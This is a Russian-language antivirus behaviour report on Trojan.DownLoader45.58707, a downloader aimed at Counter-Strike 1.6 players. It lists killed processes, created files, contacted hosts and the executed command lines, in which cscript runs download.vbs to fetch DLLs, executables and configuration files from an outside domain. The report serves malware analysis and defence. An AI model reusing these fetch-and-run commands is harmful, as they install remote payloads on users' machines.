Trojan.DownLoader45.58707

Техническая информация

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /f /im "hl.exe"
'%WINDIR%\syswow64\taskkill.exe' /f /im "cstrike.exe"

Изменения в файловой системе

Создает следующие файлы

%WINDIR%\syswow64\run.cmd
%WINDIR%\syswow64\download.vbs

Сетевая активность

Подключается к

'cs##own.me':80
'cs##own.me':443
'pk#.goog':80

TCP

Запросы HTTP GET

http://cs##own.me/update/update.vbs
http://cs##own.me/update/settings/logs
http://cs##own.me/update/settings/load_scripts.ini
http://cs##own.me/update/settings/inject_dlls.ini
http://cs##own.me/update/settings/hidden_files.ini
http://cs##own.me/update/settings/forward_cmds.ini
http://cs##own.me/update/settings/fake_cvars.ini
http://cs##own.me/update/settings/exec_cmds.ini
http://cs##own.me/update/settings/detect_chat.ini
http://cs##own.me/update/settings/nick_list.ini
http://cs##own.me/update/settings/destroy_cmds.ini
http://cs##own.me/update/settings/block_forwards.ini
http://cs##own.me/update/settings/block_errors.ini
http://cs##own.me/update/settings/block_cmds.ini
http://cs##own.me/update/XGuard.asi
http://cs##own.me/update/XGuard.dll
http://cs##own.me/update/hl.exe
http://cs##own.me/update/Counter-Strike.exe
http://pk#.goog/repo/certs/gtsr4.der
http://cs##own.me/update/settings/block_resources.ini
http://cs##own.me/update/settings/settings.ini

Другие

'cs##own.me':443

UDP

DNS ASK cs##own.me
DNS ASK pk#.goog

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c run.cmd
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/logs "settings/logs"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/load_scripts.ini "settings/load_scripts.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/inject_dlls.ini "settings/inject_dlls.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/hidden_files.ini "settings/hidden_files.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/forward_cmds.ini "settings/forward_cmds.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/fake_cvars.ini "settings/fake_cvars.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/exec_cmds.ini "settings/exec_cmds.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/detect_chat.ini "settings/detect_chat.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/destroy_cmds.ini "settings/destroy_cmds.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/block_resources.ini "settings/block_resources.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/block_forwards.ini "settings/block_forwards.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/block_errors.ini "settings/block_errors.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/block_cmds.ini "settings/block_cmds.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/XGuard.asi XGuard.asi
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/XGuard.dll XGuard.dll
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/hl.exe hl.exe
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/Counter-Strike.exe cs16.exe
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/Counter-Strike.exe cs.exe
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/Counter-Strike.exe cstrike.exe
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/Counter-Strike.exe CS16Launcher.exe
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/Counter-Strike.exe Counter-Strike.exe
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/update.vbs update.vbs
'%WINDIR%\syswow64\attrib.exe' -h -r -s "cstrike/cl_dlls/*.*"
'%WINDIR%\syswow64\attrib.exe' -h -r -s "cstrike/bin/*.*"
'%WINDIR%\syswow64\attrib.exe' -h -r -s "cstrike/cl_dlls"
'%WINDIR%\syswow64\attrib.exe' -h -r -s "cstrike/bin"
'%WINDIR%\syswow64\attrib.exe' -h -r -s
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/nick_list.ini "settings/nick_list.ini"
'%WINDIR%\syswow64\cscript.exe' //Nologo download.vbs http://cs-down.me/update/settings/settings.ini "settings/settings.ini"